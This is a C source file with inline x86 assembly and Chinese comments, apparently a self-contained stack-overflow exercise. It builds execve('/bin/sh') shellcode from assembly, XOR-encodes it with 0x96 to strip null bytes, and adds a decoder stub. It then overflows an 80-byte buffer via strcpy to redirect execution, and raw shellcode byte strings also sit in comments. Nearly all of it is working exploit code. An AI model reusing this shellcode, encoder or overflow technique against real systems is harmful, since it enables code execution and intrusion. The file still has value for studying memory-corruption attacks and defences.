#include <stdio.h>  
#include <string.h>

char code[70];
    /* 原始带00的shellcode
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3\x00";*/

    /* 优化汇编代码去00的shellcode
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";*/

char large_string[128];
char *startp, *endp;
int length;
char decode[16];
int decode_len;

void func()
{
    /* 利用标号拷贝shellcode */
    asm(
        "movl $_startCode, %%eax\t\n"
        "movl %%eax, %0\t\n"
        "movl $_endCode, %%eax\t\n"
        "movl %%eax, %1"
        : "=r" (startp), "=r" (endp)
        : 
        : "%eax"
    );

    length = endp - startp;
    memcpy(code, startp, length);

    /* 拷贝解码器，利用局部标号1，2(f表示向下找标号) */
    asm(
        "movl $1f, %%eax\t\n"
        "movl %%eax, %0\t\n"
        "movl $2f, %%eax\t\n"
        "movl %%eax, %1"
        : "=r" (startp), "=r" (endp)
        : 
        : "%eax"
    );

    decode_len = endp - startp;
    memcpy(decode, startp, decode_len);

    char buffer[80];
    int i;
    long *long_ptr = (long *) large_string;

    /* 插入shellcode的地址 */
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;

    /* 加入解码器 */
    for (i = 0; i < decode_len; i ++)
        large_string[i] = decode[i];
    
    /* xor 0x96来消除shellcode中的00 */
    for (i = 0; i < length; i++)
        code[i] ^= 0x96;

    /* 加入shellcode */
    for (i = 0; i < length; i++)
        large_string[i+decode_len] = code[i];

    strcpy(buffer,large_string);

    asm("jmp _gotoend");

    /* 解码器，xor0x96除00的汇编码 */
    asm(
        "1: movl -4(%esp), %eax\t\n"
        "addb $16,  %al\t\n"
        "xor %ecx,  %ecx\t\n"
        "movb $63,  %cl\t\n"
        "_decode: xorb $0x96, (%eax)\t\n"
        "inc %eax\t\n"
        "loop _decode\t\n"
        "2: "
    );

    /* 将call提前的带00版本的shellcode */
    asm(
        "_startCode:call _sh\t\n"
        ".string \"/bin/sh\"\t\n"
        ".string \"/bin/sh\"\t\n"
        "_sh: popl %esi\t\n"
        "movb $0,   7(%esi)\t\n"
        "movl %esi, 8(%esi)\t\n"
        "movl $0,   12(%esi)\t\n"
        "movl $0xb, %eax\t\n"
        "movl %esi, %ebx\t\n"
        "leal 8(%esi), %ecx\t\n"
        "movl 0xc(%esi), %edx\t\n"
        "int $0x80\t\n"
        "movl $1, %eax\t\n"
        "movl $0, %ebx\t\n"
        "int $0x80\t\n"
        "_endCode:"
    );

    /* 优化汇编代码去00的汇编码
    asm(
        "_startCode:jmp _ca\t\n"
        "_sh: popl %esi\t\n"
        "xorl %eax, %eax\t\n"
        "movb %al, 7(%esi)\t\n"
        "movl %esi, 8(%esi)\t\n"
        "movl %eax,   12(%esi)\t\n"
        "movb $0xb, %al\t\n"
        "movl %esi, %ebx\t\n"
        "leal 8(%esi), %ecx\t\n"
        "movl 0xc(%esi), %edx\t\n"
        "int $0x80\t\n"
        "xorl %ebx, %ebx\t\n"
        "movl %ebx, %eax\t\n"
        "inc  %eax\t\n"
        "int $0x80\t\n"
        "_ca:call _sh\t\n"
        ".string \"/bin/sh\"\t\n"
        "_endCode:"
    );*/

    asm("_gotoend:");
}


int main(int argc, char const* argv[])
{
    func();
    return 0;
}
